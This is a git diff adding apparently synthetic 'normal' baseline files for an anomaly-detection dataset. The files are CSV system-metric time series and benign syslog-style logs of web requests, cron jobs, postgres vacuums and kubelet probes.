+2025-08-27T10:02:45Z,61.34,37.34,109.6,1.01,0.67 +2025-08-27T10:02:50Z,66.3,40.95,129.63,1.05,1.18 +2025-08-27T10:02:55Z,62.41,40.57,127.0,0.94,0.8 +2025-08-27T10:03:00Z,53.59,44.35,130.11,1.13,0.66 +2025-08-27T10:03:05Z,66.11,41.66,122.33,0.73,1.04 +2025-08-27T10:03:10Z,62.58,42.27,150.6,0.66,0.62 +2025-08-27T10:03:15Z,51.76,39.9,102.09,1.14,0.84 +2025-08-27T10:03:20Z,64.17,42.05,105.51,0.94,0.88 +2025-08-27T10:03:25Z,60.8,41.06,114.67,1.08,1.0 +2025-08-27T10:03:30Z,53.78,41.33,131.19,0.95,0.9 +2025-08-27T10:03:35Z,54.27,41.39,116.75,1.15,0.76 +2025-08-27T10:03:40Z,48.13,39.05,113.51,1.33,0.67 +2025-08-27T10:03:45Z,58.52,42.62,125.16,1.25,0.86 +2025-08-27T10:03:50Z,48.19,41.81,144.62,1.09,0.88 +2025-08-27T10:03:55Z,49.96,39.53,123.28,0.72,0.87 +2025-08-27T10:04:00Z,60.44,41.52,150.23,1.1,1.02 +2025-08-27T10:04:05Z,59.43,41.78,102.79,0.97,1.06 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a/norm_dataset/scenario_13/norm_13_22.log b/norm_dataset/scenario_13/norm_13_22.log new file mode 100644 index 0000000000000000000000000000000000000000..a0180504fbfd1b78222210785e2945fe8cd12f1e --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_22.log @@ -0,0 +1,19 @@ +Aug 27 10:00:10 web-app[2101]: GET /api/v1/user/98 status=200 OK +Aug 27 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:50 web-app[2101]: POST /api/v1/orders status=201 CREATED +Aug 27 10:01:30 web-app[2101]: GET /api/v1/user/99 status=200 OK +Aug 27 10:02:05 CRON[7743]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:20 web-app[2101]: GET /api/v1/products status=200 OK +Aug 27 10:02:35 postgres[1532]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:03:00 web-app[2101]: GET /api/v1/user/101 status=200 OK +Aug 27 10:03:20 postgres[1532]: INFO: starting automatic vacuum of table "public.user_sessions" +Aug 27 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod postgres-deployment +Aug 27 10:04:20 web-app[2101]: GET /api/v1/data status=200 OK +Aug 27 10:04:35 postgres[1532]: INFO: automatic vacuum of table "public.user_sessions": index scans: 1, pages: 0 removed, 312 changed; tuples: 850 removed, 4150 remain, 0 are dead but not yet removable +Aug 27 10:04:55 postgres[1532]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 540 changed; tuples: 1200 removed, 7800 remain, 0 are dead but not yet removable +Aug 27 10:05:10 web-app[2101]: GET /api/v1/user/102 status=200 OK +Aug 27 10:05:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:15 web-app[2101]: POST /api/v1/login status=200 OK +Aug 27 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 27 10:07:00 web-app[2101]: GET /api/v1/dashboard status=200 OK +Aug 27 10:07:20 CRON[8890]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/norm_dataset/scenario_13/norm_13_23.csv b/norm_dataset/scenario_13/norm_13_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..a049694561a50dc3aa713dd19269e2978c1a9efd --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.414276914251946,38.28244494378455,35.93036192253814,1.3336065720982702,0.7212624308247072 +2025-08-27T10:00:05Z,15.032334196542845,40.27160194422708,31.988841164928402,1.0635862609627864,0.8074060218072523 +2025-08-27T10:00:10Z,14.112058045148022,38.531065611595096,29.873228426392433,0.8715383407664105,0.827521848283685 +2025-08-27T10:00:15Z,18.49066899861165,38.612881461550614,26.54327399333689,0.8305530892438435,1.1492550227181713 +2025-08-27T10:00:20Z,14.990831047187147,41.28350293793039,32.33682676573803,1.0279768043890745,0.8538999481111978 +2025-08-27T10:00:25Z,12.574665526236425,40.93280661125564,41.26753587556976,0.5996720808251288,0.8157651867830422 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+2025-08-27T10:07:10Z,14.692660966189308,38.152342194688295,19.28245339234295,0.801846670233465,1.3552085415790343 +2025-08-27T10:07:15Z,16.853367201542564,38.55766709017216,30.519157611725362,1.055136196828053,0.6263053738515048 +2025-08-27T10:07:20Z,18.88351740937957,40.952011162351226,39.8506756495233,0.9012036323352328,1.121125741300701 +2025-08-27T10:07:25Z,18.358568373638473,43.54014102413769,29.71738793747232,0.8528617965703531,1.1514874772257255 diff --git a/norm_dataset/scenario_13/norm_13_23.log b/norm_dataset/scenario_13/norm_13_23.log new file mode 100644 index 0000000000000000000000000000000000000000..b2aad458da259abf56e055a59beb0fcf196258b7 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_23.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:02:40 postgres[4567]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:02:55 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 27 10:03:10 web-app[1234]: GET /api/v1/user/56 status=200 OK +Aug 27 10:03:25 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 256 remained, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:40 web-app[1234]: GET /api/v1/user/78 status=200 OK +Aug 27 10:03:55 postgres[4567]: INFO: automatic vacuum of table "public.user_activity": index scans: 1, pages: 128 removed, 512 remained, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:10 web-app[1234]: GET /api/v1/user/90 status=200 OK +Aug 27 10:04:25 postgres[4567]: INFO: automatic vacuum of table "public.logs": index scans: 1, pages: 512 removed, 1024 remained, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:40 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 27 10:04:55 postgres[4567]: INFO: automatic vacuum of table "public.events" finished +Aug 27 10:05:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:05:50 systemd[1]: Daily clean up activities finished. +Aug 27 10:06:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:06:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_13/norm_13_24.csv b/norm_dataset/scenario_13/norm_13_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..aa433718197872202b0dcca8a3d399b4b89de487 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,13.595117335576981,43.322540359922115,34.921898956476554,1.2481464465392977,0.7602830545311899 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+2025-08-27T10:07:25Z,13.803484221338959,38.29364500236749,27.290240975809336,1.4215275005039214,1.1491648028687809 diff --git a/norm_dataset/scenario_13/norm_13_24.log b/norm_dataset/scenario_13/norm_13_24.log new file mode 100644 index 0000000000000000000000000000000000000000..4f945e6181d823f668e1872b944f44fcf6c67286 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_24.log @@ -0,0 +1,14 @@ +Aug 27 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:25 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:03:30 postgres[5432]: INFO: starting automatic vacuum of table "public.user_events" +Aug 27 10:04:20 postgres[5432]: INFO: automatic vacuum of table "public.user_events": index scans: 1, pages: 0 removed, 500 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:35 postgres[5432]: INFO: starting automatic vacuum of table "public.orders" +Aug 27 10:05:10 postgres[5432]: INFO: automatic vacuum of table "public.orders": index scans: 1, pages: 10 removed, 800 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:05:50 web-app[1234]: GET /api/v1/user/50 status=200 OK +Aug 27 10:06:40 systemd[1]: Daily clean up activities finished. +Aug 27 10:06:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:07:20 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_25.csv b/norm_dataset/scenario_13/norm_13_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..04a0061bebf2a680b664a5f3cb49c9e31d4bcfd8 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-27T10:07:20Z,13.514741071539689,44.98333865741666,35.83715487374641,1.4625438423491506,0.8647914186113337 +2025-08-27T10:07:25Z,17.02484455667672,40.566468605875855,28.45799093790072,1.1144365469150488,0.9206293511317998 diff --git a/norm_dataset/scenario_13/norm_13_25.log b/norm_dataset/scenario_13/norm_13_25.log new file mode 100644 index 0000000000000000000000000000000000000000..cc7ee6b2568f42b743db5f97019f73b030b492b4 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_25.log @@ -0,0 +1,19 @@ +Aug 27 10:00:23 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:01:27 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:01:43 web-app[1234]: GET /api/v1/user/1 status=200 OK +Aug 27 10:02:06 web-app[1234]: GET /api/v1/user/2 status=200 OK +Aug 27 10:02:28 systemd[1]: Starting daily clean up activities... +Aug 27 10:03:03 web-app[1234]: GET /api/v1/user/3 status=200 OK +Aug 27 10:03:07 postgres[4567]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:03:21 web-app[1234]: GET /api/v1/user/4 status=200 OK +Aug 27 10:03:57 web-app[1234]: GET /api/v1/user/5 status=200 OK +Aug 27 10:04:24 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 512 remaining, 1024 scanned +Aug 27 10:04:29 web-app[1234]: GET /api/v1/user/6 status=200 OK +Aug 27 10:04:44 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:05:26 web-app[1234]: GET /api/v1/user/7 status=200 OK +Aug 27 10:05:41 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:06:00 web-app[1234]: GET /api/v1/user/8 status=200 OK +Aug 27 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:07:23 web-app[1234]: GET /api/v1/user/9 status=200 OK +Aug 27 10:07:39 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_13/norm_13_26.csv b/norm_dataset/scenario_13/norm_13_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..b90dbf28785ea097b051b65b88a29f9d46111c94 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.99,45.29,33.13,1.63,1.0 +2025-08-27T10:00:05Z,14.72,47.91,25.71,0.77,1.21 +2025-08-27T10:00:10Z,16.3,42.89,24.65,1.55,0.88 +2025-08-27T10:00:15Z,18.05,44.02,32.41,1.2,0.98 +2025-08-27T10:00:20Z,14.53,43.82,28.88,0.91,1.04 +2025-08-27T10:00:25Z,14.53,40.61,33.57,1.34,0.82 +2025-08-27T10:00:30Z,18.16,45.89,32.37,1.26,0.94 +2025-08-27T10:00:35Z,16.53,45.78,29.64,1.02,0.9 +2025-08-27T10:00:40Z,14.06,45.02,25.77,1.22,0.92 +2025-08-27T10:00:45Z,16.09,44.3,22.43,1.08,0.75 +2025-08-27T10:00:50Z,14.07,40.75,27.77,1.23,0.9 +2025-08-27T10:00:55Z,14.07,43.74,34.28,1.4,1.0 +2025-08-27T10:01:00Z,15.48,43.97,31.07,1.68,1.19 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100644 index 0000000000000000000000000000000000000000..d11eb7216ae76f5bef22c8b220f4c3b1f42e1461 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_26.log @@ -0,0 +1,20 @@ +Aug 27 10:00:30 web-app[1234]: GET /api/v1/user/7 status=200 OK +Aug 27 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:15 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:50 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 27 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:02:10 web-app[1234]: POST /api/v1/login status=200 OK +Aug 27 10:02:20 systemd[1]: Started session 123 of user root. +Aug 27 10:03:05 db-postgres[6789]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 128 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:40 db-postgres[6789]: INFO: automatic vacuum of table "public.user_sessions": index scans: 1, pages: 50 removed, 300 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:45 web-app[1234]: GET /api/v1/user/9 status=200 OK +Aug 27 10:04:30 db-postgres[6789]: INFO: automatic analyze of table "public.events" +Aug 27 10:05:00 CRON[4599]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 27 10:05:10 systemd[1]: Starting daily clean up activities... +Aug 27 10:05:50 web-app[1234]: GET /api/v1/products status=200 OK +Aug 27 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod db-postgres-pod +Aug 27 10:06:15 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 27 10:06:25 systemd[1]: Started session 456 of user admin. +Aug 27 10:06:45 web-app[1234]: POST /api/v1/cart status=201 CREATED +Aug 27 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:07:25 CRON[5010]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_13/norm_13_27.csv b/norm_dataset/scenario_13/norm_13_27.csv new file mode 100644 index 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b/norm_dataset/scenario_13/norm_13_27.log new file mode 100644 index 0000000000000000000000000000000000000000..a7183e78dcce9587ff6d6d99a9e74a601f1620f7 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_27.log @@ -0,0 +1,21 @@ +Jul 02 11:00:19 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:38 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:57 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:12 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:38 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:03 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:16 systemd[1]: Starting daily clean up activities... +Jul 02 11:02:29 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:35 postgres[4567]: INFO: starting automatic vacuum of table "public.events" +Jul 02 11:02:49 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:03:02 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:03:15 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:03:44 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:03:52 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:04:03 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:04:20 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:04:39 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 525 remain, 0 skipped due to pins, 0 skipped frozen; tuples: 2000 removed, 30000 remain, 0 are dead but not yet removable; buffer usage: 1328 hits, 0 misses, 0 dirtied; avg read rate: 0.000 MB/s, avg write rate: 15.345 MB/s +Jul 02 11:05:02 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:05:03 postgres[4567]: INFO: automatic vacuum of table "public.events" completed +Jul 02 11:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 11:05:47 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_13/norm_13_28.csv b/norm_dataset/scenario_13/norm_13_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..64c4c418077e5a484e69a56eaf9fe7217397fe82 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,16.07,39.90,41.51,1.49,1.08 +2025-08-27T10:00:05Z,16.29,42.78,30.89,1.21,0.75 +2025-08-27T10:00:10Z,16.97,42.22,29.98,1.25,0.98 +2025-08-27T10:00:15Z,16.00,44.79,34.35,0.83,1.13 +2025-08-27T10:00:20Z,13.34,41.95,19.81,1.26,0.69 +2025-08-27T10:00:25Z,19.27,46.23,37.29,0.98,1.10 +2025-08-27T10:00:30Z,14.19,44.47,28.53,0.83,1.01 +2025-08-27T10:00:35Z,15.58,43.65,24.23,0.87,0.79 +2025-08-27T10:00:40Z,14.25,40.23,35.27,1.31,0.90 +2025-08-27T10:00:45Z,16.25,41.75,29.14,1.12,0.55 +2025-08-27T10:00:50Z,13.92,42.41,27.68,1.05,0.60 +2025-08-27T10:00:55Z,12.80,44.23,32.19,1.04,0.54 +2025-08-27T10:01:00Z,16.17,44.25,24.60,1.08,0.87 +2025-08-27T10:01:05Z,14.06,41.28,30.06,0.89,0.87 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file mode 100644 index 0000000000000000000000000000000000000000..f04532815a2ec4c2d5f7e8ac64b94bc4da448828 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_28.log @@ -0,0 +1,14 @@ +Aug 27 10:00:10 web-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 27 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:15 web-app[2345]: GET /api/v1/products status=200 OK +Aug 27 10:01:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:20 web-app[2345]: GET /api/v1/user/101 status=200 OK +Aug 27 10:02:40 postgres[1234]: [2-1] LOG: automatic vacuum of table "db1.public.events": index scans: 1, pages: 0 removed, 52056 frozen; tuples: 7528 removed, 100000 scanned in 0.05s, 0.00s waiting +Aug 27 10:02:55 postgres[1234]: [3-1] LOG: checkpoint starting: time +Aug 27 10:03:25 postgres[1234]: [4-1] LOG: automatic analyze of table "db1.public.users" +Aug 27 10:04:10 postgres[1234]: [5-1] LOG: automatic vacuum of table "db1.public.orders": index scans: 1, pages: 10 removed, 8900 frozen; tuples: 1203 removed, 50000 scanned in 0.02s, 0.00s waiting +Aug 27 10:05:25 postgres[1234]: [6-1] LOG: checkpoint complete: wrote 8192 buffers (5.0%); 0 WAL file(s) added, 0 removed, 1 recycled; write=18.515 s, sync=0.002 s, total=165.000 s; sync files=1, longest=0.001 s, average=0.001 s; distance=16384 kB, estimate=16384 kB +Aug 27 10:06:05 web-app[2345]: GET /api/v1/user/5 status=200 OK +Aug 27 10:06:40 systemd[1]: Daily apt download activities started. +Aug 27 10:07:05 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 27 10:07:25 web-app[2345]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_29.csv b/norm_dataset/scenario_13/norm_13_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..0bd864d5c23c499b7d8625d152e8706f48b548f6 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-27T10:06:40Z,10.83,41.84,18.96,1.41,1.14 +2025-08-27T10:06:45Z,14.24,40.69,24.68,1.38,1.08 +2025-08-27T10:06:50Z,16.13,40.45,16.27,1.25,1.22 +2025-08-27T10:06:55Z,16.64,42.45,24.77,1.21,1.46 +2025-08-27T10:07:00Z,15.35,39.03,24.58,0.95,1.22 +2025-08-27T10:07:05Z,19.12,39.7,38.49,1.35,1.24 +2025-08-27T10:07:10Z,16.17,40.1,24.87,0.95,1.24 +2025-08-27T10:07:15Z,13.1,39.87,17.07,1.55,1.47 +2025-08-27T10:07:20Z,16.24,39.0,32.36,1.66,0.98 +2025-08-27T10:07:25Z,11.63,41.42,26.87,0.95,1.13 diff --git a/norm_dataset/scenario_13/norm_13_29.log b/norm_dataset/scenario_13/norm_13_29.log new file mode 100644 index 0000000000000000000000000000000000000000..0a0244ef4ccff66e83a039f014911e2ea77aefd4 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_29.log @@ -0,0 +1,18 @@ +Aug 27 10:00:10 systemd[1]: Starting daily backup activities... +Aug 27 10:00:45 web-app[2233]: GET /api/v1/status status=200 OK +Aug 27 10:01:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:05 web-app[2233]: GET /api/v1/user/34 status=200 OK +Aug 27 10:02:30 systemd[1]: Daily backup activities finished. +Aug 27 10:03:00 postgres[4567]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:03:15 web-app[2233]: GET /api/v1/status status=200 OK +Aug 27 10:03:40 postgres[4567]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 5123 remaining +Aug 27 10:03:55 kubelet[1122]: INFO: Liveness probe for pod db-pod-xyz succeeded. +Aug 27 10:04:20 postgres[4567]: INFO: automatic vacuum of table "public.user_profiles": index scans: 1, pages: 128 removed, 2048 remaining +Aug 27 10:04:45 web-app[2233]: GET /api/v1/status status=200 OK +Aug 27 10:05:05 postgres[4567]: INFO: automatic vacuum of table "public.events": finished +Aug 27 10:05:20 web-app[2233]: GET /api/v1/user/99 status=200 OK +Aug 27 10:05:35 systemd[1]: Starting session cleanup... +Aug 27 10:06:00 web-app[2233]: GET /api/v1/status status=200 OK +Aug 27 10:06:25 kubelet[1122]: INFO: Liveness probe for pod db-pod-xyz succeeded. +Aug 27 10:06:55 web-app[2233]: GET /api/v1/user/101 status=200 OK +Aug 27 10:07:25 systemd[1]: Session cleanup finished. diff --git a/norm_dataset/scenario_13/norm_13_3.csv b/norm_dataset/scenario_13/norm_13_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c3574494c72778ea61985d88b282411cee47ff9 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,14.42001794042916,42.83499628855118,33.93707037315122,1.1110162966313202,0.7425582116278195 +2025-08-20T10:00:05Z,18.98127101421241,41.88629627171237,31.884888814387207,0.8578835158765412,0.9829114906499699 +2025-08-20T10:00:10Z,12.53023297980953,47.14336427443039,27.28689954715202,1.1426995718769866,0.8972132514155642 +2025-08-20T10:00:15Z,15.517535410366893,43.9127691398028,27.852396538293622,1.3649778885775539,1.0098843258225525 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+2025-08-20T10:05:40Z,12.037542220090184,45.924976487280354,36.35182553915916,1.2662762322497119,0.64618716594087 +2025-08-20T10:05:45Z,17.11972130122849,43.73277862836755,28.44896265175234,0.9662690252303711,0.9134675702769512 +2025-08-20T10:05:50Z,14.563893780408476,48.83637957954526,27.649495291383918,0.6928255871616225,1.291894448512444 +2025-08-20T10:05:55Z,13.657505082433241,41.69975733549944,32.86529007827406,0.9396224523548771,0.8438704986796597 +2025-08-20T10:06:00Z,18.27567578832221,47.04440644243033,31.04022805002165,1.1844256944550298,1.1521232254797082 +2025-08-20T10:06:05Z,16.003583487335767,40.81252418415587,29.53226452827783,1.5422977448216078,0.9782246095606162 +2025-08-20T10:06:10Z,19.7931706716461,44.550489166733854,30.213704917977164,1.0882177880326456,0.6853737848024524 +2025-08-20T10:06:15Z,15.464984502362059,44.03479475855994,28.60500683005019,0.8685662765191969,0.6777387223529825 +2025-08-20T10:06:20Z,15.44682959674842,43.439162661621715,34.68324239640231,1.3850797824001884,1.1661020788917795 +2025-08-20T10:06:25Z,14.980676564457362,43.349414750150885,25.384752827314177,1.4018025740126758,1.4671693593758632 +2025-08-20T10:06:30Z,18.183833132165663,46.29473494302485,33.65475170068251,1.0731968917239672,0.8210634683101223 +2025-08-20T10:06:35Z,16.540354379605546,42.198691155697475,31.851620247109434,1.2704268986075866,0.8547456265918048 +2025-08-20T10:06:40Z,15.365785629938655,48.20765746610586,29.58822183987553,0.7675844139482755,1.080215339021751 +2025-08-20T10:06:45Z,14.91855043707323,46.50759364395374,33.420493913356104,1.345337593570919,0.7303634389431053 +2025-08-20T10:06:50Z,17.400655316649495,49.49485374957757,32.08940930887582,1.0546874376218178,0.971068011162029 +2025-08-20T10:06:55Z,16.339176981492095,39.143883402701235,24.096403195715812,1.4019931739545075,0.8885536614843208 +2025-08-20T10:07:00Z,15.779825300170632,45.558545909414114,31.45092323064286,1.4283761769275087,1.4439591233714157 +2025-08-20T10:07:05Z,18.863660715598968,42.246110525740775,34.41938140700288,1.0432964041176453,1.2050400291292653 +2025-08-20T10:07:10Z,12.559069957678062,44.25344088643924,25.45252651637324,1.364244769243357,0.8144886675353791 +2025-08-20T10:07:15Z,17.375396618158316,48.59514947072415,28.428423009447314,1.2229316298674717,0.9278809824413989 +2025-08-20T10:07:20Z,16.13038201605953,43.467004890494586,40.26889098097763,1.0707791358570609,0.764494475730179 +2025-08-20T10:07:25Z,12.181293147659886,44.30328031953926,26.753141013750316,0.8777746324954379,1.3740822276778926 diff --git a/norm_dataset/scenario_13/norm_13_3.log b/norm_dataset/scenario_13/norm_13_3.log new file mode 100644 index 0000000000000000000000000000000000000000..af0e2d2e5a0f00711f25c7ec222692cf615b1728 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_3.log @@ -0,0 +1,51 @@ +Aug 20 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:15 web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 20 10:00:25 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 20 10:00:35 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 20 10:00:45 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 20 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:55 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 20 10:01:05 web-app[1234]: GET /api/v1/user/40 status=200 OK +Aug 20 10:01:10 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 20 10:01:15 CRON[5015]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:01:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 20 10:01:25 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 20 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 20 10:02:05 web-app[1234]: GET /api/v1/user/32 status=200 OK +Aug 20 10:02:10 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 20 10:02:15 web-app[1234]: GET /api/v1/user/33 status=200 OK +Aug 20 10:02:25 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 20 10:02:30 postgres[4321]: INFO: automatic 